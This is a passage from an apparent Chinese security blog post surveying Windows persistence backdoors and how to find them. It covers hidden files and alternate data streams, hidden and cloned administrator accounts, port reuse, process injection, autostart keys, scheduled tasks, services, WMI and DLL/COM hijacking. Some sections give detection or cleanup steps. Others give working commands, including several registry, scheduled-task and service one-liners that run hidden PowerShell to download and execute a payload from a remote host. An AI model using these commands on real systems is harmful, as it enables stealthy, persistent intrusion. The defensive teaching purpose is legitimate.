Windows找出权限维持的后门

Windows权限维持主要包含活动隐藏、自启动等技术。

隐藏文件

利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和 隐藏文件属性。

attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

破解隐藏文件:

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择 “显示隐藏的文件、文件夹和驱动器”。

利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^ > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现 都找不出那个hidden.jpg的。

问题1:如何查看index.php:hidden.jpg内容呢?

进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r

问题2:如何删除index.php:hidden.jpg?

直接删除index.php即可

驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini

c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1、查询服务状态: sc qc xlkfs

2、停止服务: sc stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现

3、删除服务: sc delete xlkfs

4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除, 甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

md \\.\d:\com1.{21ec2020-3aea-1069-A2dd-08002b30309d}
rd \\.\d:\com1.{21ec2020-3aea-1069-A2dd-08002b30309d}

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

隐藏账号

window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏 账户,并且把该隐藏账户提升为了管理员权限。

PS:CMD命令行使用"net user",看不到"test$"这个账号,但在控制面板和本地用户和组是可以显示此用户 的。

克隆账号制作过程:

1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建 权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册 表编辑器,再次打开即可。

2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点 击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。

3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。

4、分别test$和“000003EC导出到桌面,删除test$用户 net user test$ /del

5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管 你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表 中才能看得到。

检测和清理方法:

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实 现端口复用后门:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复 用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

当执行这条命令的同时,将在安全日志中留下痕迹,

另外,可以通过代码实现端口复用重定向,工具:https://github.com/crabkun/Switcher

进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程 注入是怎么做的以及我们如何通过工具排查出来?

1、meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

通过migrate将进程注入到system进程后,成功获得hash值。

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

2、Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来 获取权限。如下图:

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

3、Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会 话,这个会话就是成功注入到某进程的beacon。

Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

常用的注册表启动键:

# Run键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Winlogon\Userinit 键 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 类似的还有 很多,关键词:注册表启动键值。

使用以下命令可以一键实现无文件注册表后门:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((newobject net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))"" /f

Logon Scripts 后门

注册表路径:HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat

userinit后门

在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。 利用USERINIT注册表键实现无文件后门: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "Userinit"="C:\Windows\system32\userinit.exe,C:\Windows\System32\WindowsPowerShell\v1.0\p owershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2 8.142:8888/logo.gif'))""

组策略设置脚本启动

运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽 性,因此常常被攻击者利用来做服务器后门。

容易遇到的问题:脚本需全路径,如

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

计划任务

通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring("""http://192.168.28.142:8888/logo.gif"""))""

容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。

计划脚本每 1 分钟运行一次。

服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

使用以下命令可实现:

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))"" sc description KeyName "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启 动 net start Name //启动服务

成功创建了一个自启动服务

WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具 powersploit,下面用它的Persistence模块来示范一个简单的例子。

Import-Module .\Persistence\Persistence.psm1

$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'

$UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath

.\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个 DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的 DLL便会被进程所加载,从而造成代码执行。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在注册表:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnown Dlls

下添加 “lpk.dll” 才能顺利劫持:

COM劫持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对 CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实 例。这种方法可以绕过Autoruns对启动项的检测。

远程控制

远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请 求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻 破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。

一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

  • 29
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值